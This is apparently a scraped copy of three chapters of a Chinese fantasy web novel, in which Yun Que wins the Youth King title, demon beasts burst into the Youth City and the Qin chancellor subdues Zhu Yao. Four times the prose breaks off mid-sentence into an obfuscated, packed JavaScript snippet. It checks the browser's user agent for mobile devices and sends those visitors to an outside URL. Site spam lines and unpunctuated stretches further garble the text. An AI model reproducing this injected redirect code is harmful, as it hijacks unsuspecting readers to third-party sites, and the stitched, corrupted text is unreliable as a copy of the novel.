双方都知道难以一击之下斩杀对方,只能不断消耗,在对手变弱的途中寻找取胜的机会。 由于打斗得太过凶悍,其惊险的程度,在场的少年们闻所未闻,所以全部聚精会神的观战。 能来参加少年擂的,都是些心有傲气的少年修士,即便是看热闹的,也对修炼一途有着很强的憧憬,不仅来看一场百年难遇的擂台战,也想在高手对战中学到点东西。 几乎所有人都是如此念头,但也有例外。 比如说赢人志。 这位三皇子平日里对修炼根本不感兴趣,去宝境寻找天材地宝也得带着手下才行,他最大的爱好是沾花惹草,而不是灵花灵草。 最初赢人志被紧张的擂台气氛所吸引,看得入迷,随着进入鏖战状态,他渐渐失去了兴趣,直打哈欠。 赢人志现在最想找个暖阁,搂着两个美人好好睡一觉。 头顶的楼船不错,虽然没有美人,至少有酒有菜,关键是暖和啊,城里凉飕飕的还有风,实在难熬…… 赢人志在心里嘀咕着还不快点打完,他忽然觉得什么地方不对劲。 仔细想了想,发现不对劲的地方是风。 少年城不是被法阵笼罩了么,二皇子都没送出去,怎么有风了? 还是这么冷的风? 赢人志心头一阵狐疑,扯了扯他大哥的袖子,小声问道: “皇兄,你冷不冷?城里怎么有风呢? 赢财正提心吊胆的看着战场,袖子被拽了一下把他吓了一跳,扭头骂道: “你好歹也是武者,身子有那么弱吗?有点风就冷,传出去不怕被人骂啊,三皇子给你改成三公主! 赢人志别看在外面大手大脚,傲气凌人 在他大哥面前真就不敢放恣因为从小没少挨他大哥的揍境界又没人家高被打也得忍着。 赢人志不是没试过他又不傻小时候被大哥揍了之后他跑去找父皇告状结果又被父皇踹两脚骂他没出息。 赢人志又找母后去告状结果看到他大哥正跪在母后面前哭诉说自己被三弟给打了结果赢人志又挨了皇后一顿揍。 可以说赢人志这位外表光鲜的三皇子是在他大哥阴影里长大的。 打又打不过坏又没人家坏除了屈服还能怎么办呢。 赢人志不吭声了在心里嘀咕我要是三公主你就是大公主! 还是个坏得流油的大公主! 人群里 唐太子聚精会神的盯着战场。 白誉的浑身早已被冷汗浸透他是云缺真正的亲人对家人的生死白誉极其看重所以对云缺最为担心。 夜风渐冷。 浑身冷汗的唐太子被吹得打了个寒颤。 白誉皱了皱眉。 急忙调动灵气将衣袍上的冷汗去掉。 再深吸一口气白誉觉得好转了许多可不知为何这位唐太子的心里总是有些不安。 这次少年擂的怪事实在太多尤其最后云缺道出的朱幺真正身份居然是星辰殿的十二生肖之一。 在大唐的时候云缺将星辰殿的消息告知过唐皇白誉当时也在场他知道星辰殿的神秘与可怕所以对云缺此刻的举动愈发担心。 如果大唐佛门被灭的幕后真凶当真是星辰殿那么云缺此时面对的就不是一个强敌那么简单也可能是星辰殿的再一次图谋。 渐渐的白誉有些猜到了云缺的心思。 尽管相处的时间不长 白誉更知道云缺的心智极高如今不顾生死而对战朱幺已经不仅是为了宝境入口的危机那么简单。 因为朱幺现出了真正的本体此人绝非什么少年少年王之争其实已经结束。 云缺斩出的决然一刀在朱幺身上斩出伤口已经足以当得上少年王的名头整个少年城没人会不服气。 之所以留在擂台继续恶 战,显然云缺还有着更重要的目的。 唐太子的心智绝对不低,但白誉始终猜不透星辰殿的高手为何会出现在少年擂,他始终有着强烈的预感,有什么危机仿佛在接近。 心神不宁的白誉,回头看了眼城墙上,被败北的大唐高手砸出的那个大洞。 夜风吹动着风灯。 城里灯火通明,城墙区域忽明忽暗。 城墙上的大洞也变得明暗不定,在白誉看来那大洞仿佛是一只眼睛,窥探着少年城。 压下心底的不安,白誉继续观战,并吩咐带来的大唐高手全力戒备,防备着意外的发生。 云缺与朱幺的再一次恶战,足足持续两个时辰。 从入夜,一直战到了午夜时分。 天空不断有乌云掠过,明月时而清晰,时而模糊。 终于, 云缺的十影身尽数被摧毁,只剩本体,气喘吁吁,疲惫不堪。 朱幺也不好过。 身上的刀疤越来越多,肚子,肩头,手背等处明显少了些肉。 云缺虽然累得不轻,但收获颇丰。 长刀上,穿着十几片肥肉! 每一片都有接近一斤的重量,加起来没有十斤也有八斤。 战败三品归真,对如今的云缺来说,几乎是无法完成的。 除非来个同归于尽,将妖力释放到极致,以月魁的姿态作战,或许才有几分机会。 到时候即便能将朱幺击杀或者重创,云缺的下场也不会好到哪去,非死即残。 这种局面,显然是赔本的买卖,云缺可不干。 云缺只有一个目标。 那就是切肉! “用不用上秤看看份量,我砍的肉一般都很准,八斤,只多不少。 “你吗的!你他妈的找死啊!朱幺龇牙咧嘴,胖脸狰狞,一是疼的,二是气的。 若是对上个正常的同阶归真,朱幺都没有如此被动,云缺的实力距离三品差着不少,但影身之法的施展弥补了战力的不足,让朱幺疲于应对。 关键人家专门下黑手! 找到点机会就切肉,找到点破绽还是切肉,不惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493016|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让影身破裂而吸引攻势,目的还是为了切肉! 朱幺都有点魔怔了, 他觉得与自己对战的不是什么妖武者,也不是什么屠夫,而是个他吗的厨子! 有你这么会切肉的吗! 朱幺又气又怒,又无可奈何。 谁让他本体太过肥胖,还不如原来的小胖子状态,至少小胖子肉少点,现在的肉山浑身全是肥肉! 云缺晃动黑刀,刀上的肉片随之转动。 “愿赌服输,肉已经切够,你该说说,到底如何得知的我要去宝境。云缺道。 朱幺一张胖脸扭曲狰狞,怒喝道: “老子听你爹说的!你爹说宝境里有宝贝,让你赶紧去找,找到了就能光宗耀祖!对了,我想起来了,宝贝是个乌龟,还会下蛋,你把乌龟蛋拿出来供在家里,能保佑你家全都是乌龟王八蛋! 朱幺的破口大骂,他自己倒是觉得痛快了,却引来了周围所有人的鄙夷。 你可是三品归真啊! 打不过人家,改骂街了? 这就好比一名膀大腰圆的壮汉,与一个三岁顽童打斗,打了半天谁也没打过谁,然后各自站在街边开骂。 被路人瞧不起的肯定不会是三岁顽童,而是壮汉。 云缺呵呵一笑,道: “你还别说,我家里真供过王八蛋,没事儿的时候吃一个,味道不大好,我闻闻…… 说着云缺将黑刀提到眼前,装作闻了闻的样子,然后又干呕了一下道:“对,就是你这身肥肉的臭味,真没想到,我家里的乌龟王八蛋,原来是你啊。 骂人这一块,云缺是无敌的。 朱幺骂云缺家里供奉乌龟王八蛋,云缺直接骂朱幺就是乌龟王八蛋。 朱幺被气得哇哇怪叫,呼噜噜的发出类似猪叫的响动。 “龟孙子别叫唤,等我去宝境的时候把你的龟爷爷也挖出来,让你们一家团聚。云缺笑道。 朱幺大怒之下还要继续大战。 云缺突然出刀! 没斩朱幺,而是朝着天空一刀挥出,炸起一刀惊人的气浪。 刀上的十几片肥肉随之升腾而起,飞上半空。 云缺傲然而立,喝道: “三品归真八斤肉,少年擂上我为王! 一句我为王,就此终结了少年擂的决战。 能战到如此地步,谁敢不服! 扔出八斤肥肉,云缺就此称王。 随着十几片肥肉的掉落,少年城里响起了震天的呼喊。 “少年王!!! “少年王!!! “少年王!!! 无数的少年修士振臂齐呼,山呼海啸的喝声直冲云霄! 这是无数少年们发自内心的欢呼。 云缺的不屈,云缺的坚毅,云缺的勇猛与战意,就是他们心里当之无愧的少年之王! 天下少年何其多,唯有此城出王者! 数十万的少年们齐声高呼,声势惊人,即便朱幺是三品强者,此时也被如此气势惊得后退了几步。 朱幺知道大势已去,他咬牙切齿的望向一处,大骂道: “你他妈等什么呢!干活了! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第599章 养猪 能在三品归真身上切下十几片肥肉,云缺少年王的名号实至名归,无人不服。 可朱幺的喝骂,令人们万分不解。 干活? 干什么活儿? 少年擂已经打完了,还有什么活儿没干完? 当朱幺开口之际,云缺第一个察觉到朱幺喝骂的对象。 不是人,而是妖。 朱幺正在喝骂着万妖国的冥欢! 一种不祥的预感出现在云缺心头,云缺正想提醒看守冥欢的少年城修士,冥欢已经动了。 冥欢嘎嘎一声怪笑,身体竟瞬间挣脱了铁锁,遁入地面,眨眼间消失不见。 当人们发现冥欢逃了,这才看到冥欢脚下的地面竟出现了一个小土包。 冥欢正是借助这个小土包,遁地而走。 “居然绑不住它!” “什么时候出现的土包!沾土则逃,它是遁地兽吗?” 两名看守冥欢的少年修士惊讶万分。 他们都有六品巅峰修为,按理说看住冥欢轻而易举,结果被擂台上的打斗所吸引,没注意到地面,让冥欢给逃了。 柳真真与史得侩就在不远处,此时急忙赶到近前。 史得侩骂骂咧咧的用大刀开挖,想要把冥欢挖出来。 “晚了,不用白费力气。”柳真真蹙眉道。 史得侩踢了脚土堆,骂道: “这家伙难道是地鼠成精,挖洞挖这么快,早知道打断它手脚就完了!” 柳真真沉声道:“上次攻城的妖兽,是朱幺引来的。” 史得侩恍然大悟道:“朱幺这个杂种!老子跟他没完!内奸不得好死!” 朱幺对冥欢的大喝,代表着双方是同伙,柳真真史得侩等少年城的修士们终于知道,上次妖兽攻城,原来朱幺才是始作俑者,是少年城的内奸。 田锺在旁边站着呢,一听这话顿时吓一哆嗦。 少年城的人对朱幺恨之入骨,妖兽攻城那晚,少年城死伤过千,怎奈人家朱幺是三品强者,柳真真史得侩等人即便恨得牙根痒痒也无能为力。 想要围杀一位归真境强者,凭着少年城的实力还难以做到。 不过并非没有希望。 因为少年城已经不是之前的少年城, 少年王的横空出世预示着少年城有了困杀三品的力量! 云缺能与朱幺斗得不相上下柳真真史得侩等人若跟着一起拼命未必不能斩杀三品! 少年城的众人变得义愤填膺对朱幺虎视眈眈只需云缺一声号令数十万的少年修士就会一拥而上。 云缺的确下令了。 不是围杀三品的号令只有简单的两个字。 “脚下!” 当云缺喝出声音的时候不等柳真真史得侩等人反应过来脚下的地面突然出现了震动。 紧接着轰鸣大作! 少年城内地面相继塌陷一个又一个大洞出现。 天塌地陷般的恐怖景象令擂台周围一片混乱。 一些少年站立不稳掉进洞里随后传出惨叫有鲜血飞溅了出来。 柳真真急忙大吼道: “避开洞口!地底有妖!” 随着大洞的出现浓郁的妖气弥漫而来冥欢发动了地冥兽的天赋之力打通了数百个洞口。 而这些洞口深处是一群等待多时的妖兽! 一头头形态各异的妖兽从大洞里爬了出来有的如牛有的似虎有的类似巨型蜥蜴还有长满细爪的狰狞怪蟒。 成千上万的妖兽从地底冲了出来围拢在人群之外 这群来自万妖国的妖兽将少年城当做了觅食之地准备来一场饕餮盛宴。 柳真真的脸色变得越发难看。 四周的妖族没有低阶至少在六阶之上! 达到五阶的妖兽少说有百头! 如此数量与等阶的妖兽狂潮足以将少年城重创。 柳真真豁然转向朱幺怒喝道: “朱幺你这叛徒!你想覆灭少年城何必与我们共处多年!” 史得侩也跟着大骂道: “我们拿你当兄弟你拿我们当傻子!既然这么想我们死你不如当年早点下手将我们几个孤儿杀死在少年城!” 朱幺现出古怪的笑容道: “不到出栏的时候猪猡怎么能提前杀掉呢你说对不对。杀你们简单养你们可就难了你们养过猪知道猪崽子有多能吃这些年老子耗费了天价的资源才将你们满城废物养 到这么肥!” 史得侩怒声道: “当初你给我们灵材原来拿我们当猪养!” 柳真真还算冷静沉声质问道: “给我们灵材供我们进阶你有什么好处!” 朱幺桀桀怪笑: “我什么好处都没有养你们只是我的任务而已现在嘛任务结束了。” 随着朱幺的怪笑四周的大量妖兽开始发动进攻。 眼看着一场恶战无法避免。 云缺始终紧锁眉峰猜测着朱幺真正的企图。 朱幺从十几年前就在少年城供给柳真真史得侩等人大量灵材其目的绝不会养猪那么简单。 养出了一群少年修士难道就是为了喂妖兽? 如果真想培养血食供给万妖国的妖兽吞噬无需修行者养一些凡人岂不是更加简单更加廉价给够食物就行了根本不用灵材。 云缺一时间猜不出朱幺的目的但四周的妖族已经冲了过来。 云缺来不及多想朝着大秦一方断喝道: “丞相大人还不出手更待何时!少年城乃是大秦之少年城少年修士若被妖族吞杀一空大秦的未来何人传承!” 云缺的喝声底气十足听起来气势浑然不过细心人都会听得出来这话一出明显是在找靠山了。 不找不行啊云缺也无可奈何。 好不容易成了少年王总不能我刚封王结果少年城的少年们被屠杀一空。 光杆儿的王者还算什么少年王。 万妖国来临的妖族数量极多境界又都不低以少年城的实力多说同归于尽这可不行。 云缺只能选择求援反正丞相在这呢不用白不用。 等解除了这次危机少年城的去留再说也不迟若秦皇非得要控制少年城大不了咱们少年城搬家搬到大晋去正好能替大晋搬来一份强大的助力。 危机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502935|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头云缺衡量利弊做出了如此选择。 左兰山听罢冷哼了一声。 别看表面上这位大秦丞相不以为意左兰山心里还是挺舒服的。 桀骜不驯的驸马终于服软儿了。 人就是如此心情大好的时候 兰山一时忘记了之前被云缺臭骂的尴尬他从座位上站起声如洪钟的喝道。 “君子之心不胜其小而气量涵益一世。” 呼!!!!! 当左兰山道出此言之际少年城内狂风大作! 风势奇诡交叉而至形成密密麻麻的狂风巨网将一头又一头的妖兽相继禁锢在原地。 恐怖的风网遮天蔽地填满了整个少年城! 少年修士们以为如此范围的狂风法术一定会将自己也禁锢甚至击杀很多人动用武器防御来不及抵挡的只能抱头弯腰尽量护住本体。 可很快人们发觉 恐怖的风网居然对自己毫无影响人们只觉得有大风吹过毫发无损! 一些修炼儒道的少年修士恍然大悟惊呼道: “君子气!这是君子气!” 君子气来自儒家修士的一份法门以君子之气凝炼出武器对敌也能化作狂风之网达到封闭一处区域的效果。 身处于君子气形成的风网当中便会动弹不得强行挣脱只能被风网割裂。 君子气不算太高等阶的法门在场的儒家修士有不少人能动用。 但是以君子气笼罩整个少年城在场的修士们可做不到。 更别提君子气的风网只困妖族而不伤人族这种精妙到极致的运用能力! 对于大秦丞相的手段在场的人们无不震撼。 柳真真史得侩等人更是长出一口气。 幸好有大秦丞相坐镇否则今天必将血流成河少年城还有多少活口都不得而知。 云缺可没有多少感激反而在心里骂了句老狐狸。 左兰山显然在刻意为之。 动用法术困住或者击杀妖族就完了非得将法术也笼罩在满城少年身上然后让少年们觉得自己被人家庇护从心底生出一份感激。 恩威并施的手段丞相玩得够溜。 云缺在心里骂表面上一点都看不出来脚下更是往后退了很远拉开与朱幺之间的距离。 既然丞相出手那么星辰殿的亥猪就留给左兰山好了。 云缺的目的已经达到成为了名副其实的少年王接下来该丞相收尾了。 朱幺可不是自己一个人还有条杂毛狗呢戌狗始终没露面云缺自然得防备一些。 尤其朱幺与冥欢有所关联 如果只是弄一群妖兽奇袭少年城朱幺又何必蛰伏于少年城这么多年。 一个人在棋盘上挺孤单的云缺正好趁机将大秦丞相也拉上棋盘。 左兰山以一己之力禁锢了上万妖族表情始终稳如泰山。 他盯着朱幺的方向沉声道: “星辰殿的高手混迹于我大秦地界不知所为何事你们若有难处不妨明说老夫也许会指点一二。” 朱幺冷笑道: “用不着你指点!老子愿意住哪就住哪!大秦风水不错我今天住少年城明天去住天龙城!” 第600章 到底谁葬谁 面对大秦丞相,朱幺狂妄不逊。 左兰山脸色一沉,道: “无需去天龙城,少年城我看就不错,你下半辈子,都住这儿吧。” 说话间左兰山抬手一点,朱幺的身旁顿时出现一座狂风牢笼,其威能之强,隔着数百丈的人们都能察觉到那风牢有一种刺骨之感,会下意识的开始远离。 朱幺没敢怠慢,在风牢出现的同时他催动起全力,周身铺上一层铁甲般的厚重气机。 即便如此,朱幺仍旧被风牢压得弯腰低头,仿佛头顶有一座万仞高峰。 云缺看得暗暗心惊。 随手一招儒家法术而已,居然能将三品归真压制到如此程度! 这已经不是三品修士能施展出的力量了,左兰山的境界绝对超过了三品! 朱幺死死咬着牙,发出沉闷的低语: “二品……大儒!” 儒家修士的等阶, 五品君子,四品仁者,三品贤者,二品大儒! 大秦丞相,拥有着二品大儒境! 听闻朱幺的低语,云缺终于长出一口气。 有左兰山这位二品强者坐镇,星辰殿估计在少年城翻不起太大的风浪了。 周围的人们纷纷现出后怕的神色。 如果没有大秦丞相在这,今天所有人都难逃一劫。 最后怕的,要数御史大夫马至远。 最初只有他在少年擂坐镇,代表着大秦一方,以他四品的儒家修为,其实已经足够,毕竟少年城的人最高只有五品而已,何况还有二皇子这位四品破军。 谁成想最后蹦出来个三品归真,要是丞相不在,马至远都不敢想象会有什么后果。 一位三品归真,加上数以万计的强大妖物,不仅少年城的人难逃一劫,三位皇子也将陷入绝险当中。 很多人都放松下来,觉得危机彻底解除。 然而云缺始终处于战斗状态,周身气机非但没有减弱,反而凝炼到极致。 朱幺虽然被困,还有那条杂毛狗呢! 遁地的冥欢也没再出现,不知是逃了还是蛰伏在暗处。 戌狗是三阶妖王,加上朱幺这个三品归真,虽然斗不过二品大儒,但谁知道他们有没有其他后手。 十二生肖是否只 有两人,万妖国是否只来了这么多妖族,都是未知之数。 星辰殿的棋局,没有简单的。 云缺提防着戌狗,左兰山则喝问着朱幺。 “你的任务,是什么,你的主人,在何处。 朱幺一边拼力扛着风牢的禁锢,一边咬牙低吼道: “我的任务就是养猪!现在养完了,该出栏了!至于我的主子在何处,你这位大秦丞相不是上知天文下晓地理么,你可以自己去好好找一找,找到了,他也许会请你喝顿酒呢! 左兰山冷笑道: “听闻星辰殿神秘莫测,有覆灭一座国度之力,今日得见,实在令人遗憾,若你们只有如此实力,大秦,便是你们的葬身之地。 朱幺狞声吼道:“你可以试试看!看看到底谁葬谁! 左兰山冷哼一声,再次抬起单手。 风牢之上,出现了大片霜雪! 转瞬之间,困住朱幺的风牢变成了冰牢! 这边封印朱幺之后,左兰山没闲着,以浑厚的法力凝聚出一只大手,直接抓进地面。 轰鸣声大作。 云缺看得出左兰山是要抓冥欢。 以二品大儒之力,冥欢应该逃不掉的。 左兰山的大手宛如巨大的铲子,不断朝着地底挖去,沙土翻飞,地面都在震荡。 一旁的大皇子看得心惊肉跳。 赢财倒是不惧那些妖族,但他心里始终惦记着重伤的二弟,此时来到左兰山近前道: “丞相大人,咱们尽快送二弟返回皇城才行,赢皓伤势太重,挺不住太久。 左兰山闻言一皱眉,道: “怎么还没走? “之前没送回去,少年城被法阵笼罩,护送的军兵出不去城,又转回来了。赢财道。 “哪有法阵,少年城外根本没有阵法波动,大殿下听了何人的妖言。左兰山沉着脸道。 “呃……三弟说的。赢财背锅背怕了,直接拿他三弟出来顶锅。 左兰山冷冽的目光望向赢人志。 赢人志顿时一哆嗦,急忙解释道: “我、我猜的!军兵出不去大门,不就是有法阵存在么,可能猜错了。 左兰山瞥了眼三皇子,目光随之阴沉下 来。 以他的修为少年城外若有法阵开启顷刻间即可察觉。 在左兰山的感知中城外根本就没有法阵。 二品大儒强者的灵识感知瞬间散开笼罩了整个少年城。 确实没有法阵。 城外只有一头妖犬在狂奔卷起的黑风几乎弥漫到城头。 三阶妖王欺风犬而已左兰山根本不在乎在二品强者面前 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)妖王算不得什么。 “区区妖犬也敢阻我大秦皇子之路。” 左兰山不再挖冥欢而是运转法力寒声道:“慎终如始则无败事儒生剑。” 随着这位大秦丞相的施法整个少年城的城墙之外浮现出一道道锋利的剑光! 数以万计的长剑凭空而现同时扎向城墙之外。 大地再次震荡起来。 万剑落地的轰鸣中传来犬类妖兽的哀嚎声。 一旁的大皇子三皇子与段无病等人看得心惊肉跳对丞相的修为无不折服。 还得是人家大儒强者! 脚都没动即可重创城外的妖王等阶压制在此刻显现无疑。 尤其段无病对丞相的这手儒生剑佩服得五体投地。 儒生剑是儒家低阶法术之一九品即可修炼以文气幻化利刃来攻击敌人。 九品儒修只能汇聚出一把儒生剑而人家丞相随手即可动用超过万柄儒生剑! 而且每一柄儒生剑的威能与低阶儒修的儒生剑天差地别强大了何止千百倍! 既然丞相出手马至远与段无病等人也就不再担心。 赢财更是准备着亲自护送二弟回城。 反正少年擂也结束了大局已定再不走容易背黑锅。 赢财对于黑锅这种事极其敏感。 别看少年城没什么危险了但少年王和大秦皇族可是对头尤其驸马成了少年王那家伙更坏指不定要冒什么坏水呢。 无数妖物被俘朱幺困于冰牢欺风犬被重创如此局面看似大局已定。 满城少年放心下来不再惧怕有些胆大的甚至取出武器开始劈斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502936|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被困住的妖物。 云缺在听到欺风犬的悲鸣后戒备的举动终于缓和了几分。 不过云缺始终在防备着朱 幺。 三品归真,没那么容易打败,武夫的强悍,云缺最为清楚。 正好趁着丞相在场,云缺打算从朱幺嘴里撬出些有关星辰殿的线索,究竟自己要去宝境的消息,朱幺是怎么得知的,这一点必须问清楚。 拷问这种事,云缺很拿手。 先将拷问的目标打到奄奄一息,他才肯说实话。 云缺正打算下黑手,丞相那边先动手了。 左兰山再次施展法力,在冰牢上凝聚出无数锋利的冰锥,猛然扎进冰牢。 朱幺尽管在全力防御,身上还是被几根冰锥穿透,鲜血飙溅! 云缺脚步一顿,心说丞相这个老家伙果然老辣,跟自己想到一块儿去了。 既然左兰山动手开始拷问,云缺乐得清闲,等在一边。 朱幺身上的肥肉疼得乱颤,他调动浑身气机,好不容易才崩开了身上的冰锥。 这次他的伤口可没那么容易愈合了。 左兰山动用了大儒之力,三品归真想要快速恢复伤势根本做不到。 “说,谁给你的养猪任务。”左兰山冷声喝问。 再一次的锋利冰锥,开始在冰牢上汇聚。 朱幺明显有些怕了,急忙大吼道: “我说!我的任务,是秦皇给的!秦皇下令让我养一城少年修士!” 周围众人听得瞠目结舌,连云缺都觉得意外。 秦皇派遣朱幺来少年城,养一群与他为敌的少年修士? 这可能吗! 云缺瞬间判断出朱幺在胡说八道,但是其他少年修士不明真相,有人惊讶有人愤怒,人们变得惊疑不定。 左兰山怒道: “胡说八道!陛下岂能用你这等妖人!” 说罢左兰山再次要动手。 这时忽然一道影子出现在左兰山身旁。 那影子晃动了一下,竟变化成一个活人,身穿黑衣,以黑布罩住了下半张脸,只能看到一双冷漠的眼睛,大致能分辨出是个中年修士。 左兰山察觉到此人后,手里的动作停了下来。 对方的装扮与出现方式,左兰山极为熟悉,来的,是影卫。 “大人,陛下密旨。” 来人躬身施礼后,以双手奉上一封密旨。 左兰山接过密旨,没有立刻打开,而是瞄了眼此人,沉声问道: “你叫什么,隶属何处。” 来人低着头恭声道:“属下常疾,隶属影卫十一队。” 大皇子与三皇子等皇亲国戚纷纷惊疑起来,段无病更是神色凝重。 或许普通的皇族子弟对影卫比较陌生,但段无病这种军中高手与皇子们则十分清楚影卫的厉害。 影卫是秦皇的近卫,极少出现在外人面前,一旦影卫出现,预示着情况紧急,事关重大。 少年擂尘埃落地之际,居然有影卫带来秦皇密旨,大秦一方的众人都在猜测着皇帝有何吩咐。 左兰山打开密旨,只看了一眼便神色微变。 见丞相神色变化,众人更加心惊起来,赢财忍不住凑过去看了一眼。 密旨上只有一行字: 少年城有诈! 注册本站会员可以解锁更多福利,快试试吧 第601章 少年王的第一份号令 看到密旨后,大皇子悚然一惊,将密旨内容念了出来。 “少年城有诈?” 赢财惊疑道:“父皇到底发现了什么,少年城有何危机?” 一旁的赢人志倒是不以为意,道: “肯定指的是朱幺呗,还有那只狗妖王,父皇明察秋毫发现了少年擂的凶险,提醒我们小心应对,有丞相大人坐镇,他们翻不起风浪。” 三皇子说得轻松随意,听起来不太靠谱,但赢财与段无病等人觉得有点道理。 少年擂最大的危机,就是三品归真与妖王现身,还有来自万妖国的上万妖族,确实是一份巨大的危机。 不过丞相大人亲自坐镇,这些危机也就谈不上多危险了,充其量算是有惊无险。 毕竟丞相可是二品强者,再来几个三品,再来几头妖王也于事无补。 大秦的皇亲国戚们纷纷放心下来,不少人开始赞颂皇帝的未卜先知。 只不过来自秦皇的提醒,如今已经毫无威胁可言。 云缺此时站在擂台区域的废墟边缘,距离大秦一方很远,听不到大皇子段无病等人的声音。 但云缺知道密旨上的内容。 从赢财的口型变化而猜测出来。 唇语对于云缺来说不算难事。 少年城,有诈…… 云缺在心里嘀咕着这句短短的圣旨,没来由的生出一种不安。 能惊动秦皇传来密旨,一定绝非小事,密旨里的有诈,未必只是如今的局面这么简单。 左兰山有多高的修为,秦皇又不是不知道,如果仅仅是一些万妖国的妖物,加上三品归真与欺风犬,左兰山一人足以轻易摆平。 莫非,秦皇知道星辰殿下一步的动作…… 云缺在心里猜测之际,看了眼远处的那名影卫。 不知为何,对方的身影,给云缺一种有些熟悉的感觉。 这种感觉很古怪,云缺自己都觉得奇怪。 影卫的确见过一次。 与宁玉公主上街那次,就有一名影卫始终跟随,一路跳跃在行人身上。 当时那名影卫的模样,云缺没看到,只能借助大皇子的观魂镜看到一道模糊的影子。 而影子,可不是人形,不应该出现熟悉感才 对。 云缺疑惑不解,总觉得秦皇密旨来得实在诡异。 四周的少年们并未发现影卫的出现,人们的目光始终逗留在朱幺身上,尤其朱幺最后道出的那句秦皇给的任务,让少年们觉得惊疑交加。 很多人不信,觉得朱幺在信口雌黄。 也有不少人相信,认为秦皇才是毁灭少年城的幕后真凶。 史得侩大吼一声,喝骂道: “好哇!果然是狗皇帝在控制我们少年城!拿我们当猪养,最后还要拿我们喂妖兽!兄弟们,我们该怎么办! 一群脑筋不太够用的少年们纷纷大吼起来。 “打下天龙城!推翻狗皇帝! “我们少年城与狗皇帝不共戴天! “拿我们当猪养,我们就拱翻大秦的天下! “我们不是家猪,是凶猛的野猪!反大秦!杀皇帝! 史得侩是少年城的大将军,他的威望不亚于城主,振臂一呼,无数少年响应,人们都认为如今的危机是秦皇一手促成,将所有恨意全都转嫁在秦皇身上。 柳真真紧锁秀眉,喝道: “没那么简单,朱幺若是秦皇之人,丞相岂能对他出手,大家冷静,切勿中计! 田锺在旁边也跟着劝道: “城主说得有理!朱幺如果是奸细的话,他何必与驸马打生打死,这不是窝里反吗! 史得侩愤慨不已,抓着田锺的脖领子喝道: “这还不简单,人家玩了招苦肉计!苦肉计你懂不懂! 田锺没词儿了。 你说别的我真不懂,你说苦肉计,整个大秦就没人比我还懂! 我都苦好几回了! 少年城一方变得乱哄哄。 有人大骂秦皇卑鄙无耻,有人觉得朱幺在挑拨离间,甚至有人认为秦皇串通了万妖国,专门来对付少年城。 云缺听得直叹气。 少年城里的武夫,比演武殿的学子还笨。 演武殿的人多说比较憨比较莽,但大多数都有脑子啊。 就不会想想秦皇养了少年城,然后用来喂妖这种事,他可能存在吗。 秦皇是喝了多少假酒,在自家国度养一群未来可期的少年修士,结果非但自己不用,反而全都 当食料送给万妖国。 秦皇疯了吧! 这种事曾经的晋皇殷子受能做得出来因为殷子受是个蠢人秦皇可是云州之上真正的枭雄再如何糊涂也做不出这种对自己非但没有半点好处还会被天下修士所不齿的蠢事。 对于少年城这群少年武夫云缺也无可奈何这就是有人教和没人教的区别。 演武殿是天祈学宫能进学宫的没几个蠢人。 但是少年城不同这里的武夫完全自己成长如同野草桀骜不驯的同时又心智不足。 比如史得侩很容易就被朱幺的妖言挑拨。 演武殿的齐御虽然也暴躁易怒但人家有心眼儿啊至少知道吃了毒鱼狂拉好几天之后人家会分析谁是下毒凶手。 不像史得侩想都不想就信了朱幺的挑拨之言。 少年呐还得学习才是光明正途……云缺不由得心生感慨。 见少年城一方大乱朱幺趁机大吼道: “什么少年城简直是傻瓜城!养你们满城傻瓜就是来喂妖的!嘎嘎!你们被蒙在鼓里其实秦皇才是最大的妖啊哈哈!他会吞了你们哈哈!你们全都是陛下的血食!!” 朱幺的喊声加大了少年们的愤怒喝骂秦皇的声音越来越多越来越响。 柳真真并不相信朱幺所言她有心反驳但始终说不出口。 身为城主本就与秦皇为敌现在这种局面城主岂能帮着敌人说话帮着秦皇辩解。 眼看着局面几乎失控云缺突然吐气开声大吼一声。 “诸位听我一言!” 云缺的声音动用了气机响彻全场。 别人说话没用但是少年王的声音却如同惊雷立刻压下了少年城的躁动。 少年们对云缺敬佩不已都认可云缺少年王的身份 云缺没去劝说也没替秦皇辩解直言道: “不管秦皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 